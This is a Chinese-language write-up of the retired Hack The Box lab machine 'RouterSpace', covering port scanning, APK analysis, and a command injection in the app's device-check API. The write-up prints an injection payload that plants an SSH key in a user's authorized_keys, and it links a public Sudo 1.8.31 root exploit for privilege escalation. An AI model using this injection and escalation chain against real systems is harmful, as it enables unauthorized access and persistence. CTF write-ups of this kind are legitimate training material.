[HTB] RouterSpace Writeup
2023-4-25 09:30:43 Author: 一个人的安全笔记(查看原文) 阅读量:8 收藏

望你能学以致用,而不是当工具和教程的收集者。我写这个是为了“温故知新”,整理下之前所学习和所使用的技术细节,方便归类和整理碎片知识。

概述 (Overview)

HOST: 10.10.11.148

OS: LINUX

发布时间: 2022-02-27

完成时间: 2022-06-17

机器作者: h4rithd

困难程度: EASY

机器状态: 退休

MACHINE TAGS: #Apktool #Mobile #CommandInjection

攻击链 (Kiillchain)

使用 Nmap 扫描目标服务器开放端口,访问 Web 服务下载 APK 包至本地分析。通过在安卓设备上运行安装的 APP,找到命令执行漏洞,利用该漏洞写入 ssh 登录免密公钥拿到立足点。最终,通过 Sudo 服务历史漏洞完成权限提升。

枚举(Enumeration)

使用 Nmap 软件对目标服务器开放端口进行扫描枚举:

$nmap -p- -n -Pn -sC -sV --min-rate 2000 -oA nmap/portscan -v 10.10.11.148

PORT   STATE SERVICE VERSION
22/tcp open  ssh     (protocol 2.0)
| ssh-hostkey: 
|   3072 f4:e4:c8:0a:a6:af:66:93:af:69:5a:a9:bc:75:f9:0c (RSA)
|   256 7f:05:cd:8c:42:7b:a9:4a:b2:e6:35:2c:c4:59:78:02 (ECDSA)
|_  256 2f:d7:a8:8b:be:2d:10:b0:c9:b4:29:52:a8:94:24:78 (ED25519)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-RouterSpace Packet Filtering V1
80/tcp open  http
|_http-trane-info: Problem with XML parsing of /evox/about
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: RouterSpace
|_http-favicon: Unknown favicon MD5: 1985E1710EE86AD8DE35F9ACC686353A
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 200 OK
|     X-Powered-By: RouterSpace
|     X-Cdn: RouterSpace-72382
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 72
|     ETag: W/"48-5FsL++OM5MsQ/fNk6Ht3amfAH3E"
|     Date: Thu, 16 Jun 2022 08:05:26 GMT
|     Connection: close
|     Suspicious activity detected !!! {RequestID: Bz 67nR hTY M nh W }
|   GetRequest: 
|     HTTP/1.1 200 OK
|     X-Powered-By: RouterSpace
|     X-Cdn: RouterSpace-21318
|     Accept-Ranges: bytes
|     Cache-Control: public, max-age=0
|     Last-Modified: Mon, 22 Nov 2021 11:33:57 GMT
|     ETag: W/"652c-17d476c9285"
|     Content-Type: text/html; charset=UTF-8
|     Content-Length: 25900
|     Date: Thu, 16 Jun 2022 08:05:23 GMT
|     Connection: close
|     <!doctype html>
|     <html class="no-js" lang="zxx">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>RouterSpace</title>
|     <meta name="description" content="">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="stylesheet" href="css/bootstrap.min.css">
|     <link rel="stylesheet" href="css/owl.carousel.min.css">
|     <link rel="stylesheet" href="css/magnific-popup.css">
|     <link rel="stylesheet" href="css/font-awesome.min.css">
|     <link rel="stylesheet" href="css/themify-icons.css">
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     X-Powered-By: RouterSpace
|     X-Cdn: RouterSpace-78688
|     Allow: GET,HEAD,POST
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 13
|     ETag: W/"d-bMedpZYGrVt1nR4x+qdNZ2GqyRo"
|     Date: Thu, 16 Jun 2022 08:05:24 GMT
|     Connection: close
|     GET,HEAD,POST
|   RTSPRequest, X11Probe: 
|     HTTP/1.1 400 Bad Request
|_    Connection: close

可以看到仅开放了两个端口,看来又是需要再 Web 服务上找突破口了。暂时从上诉的信息中,没有找到有问题的内容。

Port 80 - HTTP

浏览器访问 80 端口,简单预览了下页面功能发现是个静态的 Web ,只有一个下载 apk 包的地址。

从该地址下载包:http://10.10.11.148/RouterSpace.apk,本地使用 apktool 工具对其尝试源代码还原。

$ apktool d RouterSpace.apk      
I: Using Apktool 2.6.1-dirty on RouterSpace.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

立足点(Foothold)

我嫌麻烦直接使用的 jadx,预览的 apk 包。

首选关注的就是 AndroidManifest.xml 文件,按开发标注每一个 Activity 都需要在这个文件里面注册,可以设置默认启动的 Activity、权限等等。可以看到这里是 MainActivity

仅 return 了一个字符串,看不懂得在安卓机上安装包后再看看。因为我是 Mac 加 IOS 又不想折腾装虚拟机环境,就让同事在他的测试手机上装了 apk 进行分析 ,发现 APP 首页会发一个 POST 请求:

POST /api/v4/monitoring/router/dev/check/deviceAccess HTTP/1.1
accept: application/json, text/plain, */*
user-agent: RouterSpaceAgent
Content-Type: application/json
Content-Length: 16
Host: routerspace.htb
Connection: close
Accept-Encoding: gzip, deflate

{"ip":"0.0.0.0"}

随即绑定域名到 hosts,验证 ip 参数发现存在执行漏洞。

接下来就简单了,通过命令执行将本地的 ssh 公钥写入 authorized_keys 文件,成功完成 ssh 登录。

echo 'c3NoLXJzYSBBQUFBQjNOemFD......90QGthbGkK'&&base64 -d >>/home/paul/.ssh/authorized_keys

权限提升(Privilege Escalation)

将 linpeas 传递至目标服务器,运行脚本进一步获取信息。发现 SUDO 版本比较低(1.8.31),且存在能被识别的 CVE 。

但是这个 CVE 是利用不了的因为服务部存在,尝试 CVE-2021-4034 也不行 PwnKit 被修复。

[x] ERROR: Accounts service and Gnome-Control-Center NOT found!!

还是得去找 Sudo 服务低版本的漏洞才行,在 Github 上能直接搜到提权 exp,传递至目标服务器运行就好了。

Sudo 1.8.31 Root Exploit - https://github.com/ikpehlivan/Sudo-1.8.31-Root-Exploit

复盘

如果手机的 adb 能获到 root 权限,可以直接使用 adb 快速的开一个 burp 代理进行抓包。

详见: 在 ADB 命令中设置 Android 网络代理

  • • adb shell settings get global http_proxy

  • • adb shell settings put global http_proxy <host>:<port>

  • • adb shell settings delete global http_proxy

参考

  • • https://www.osboxes.org/android-x86/#android-x86-9-0-r2-vbox

  • • https://github.com/anbox/anbox


文章来源: http://mp.weixin.qq.com/s?__biz=MzIwOTA4NTg4MA==&mid=2652490746&idx=1&sn=136e84add9dc02ec0771fd32beadd671&chksm=8c945f2dbbe3d63b832738adc359d598c72f4f39ce2337dd426186cc838bcee62b0cd392ed10#rd
如有侵权请联系:admin#unsafe.sh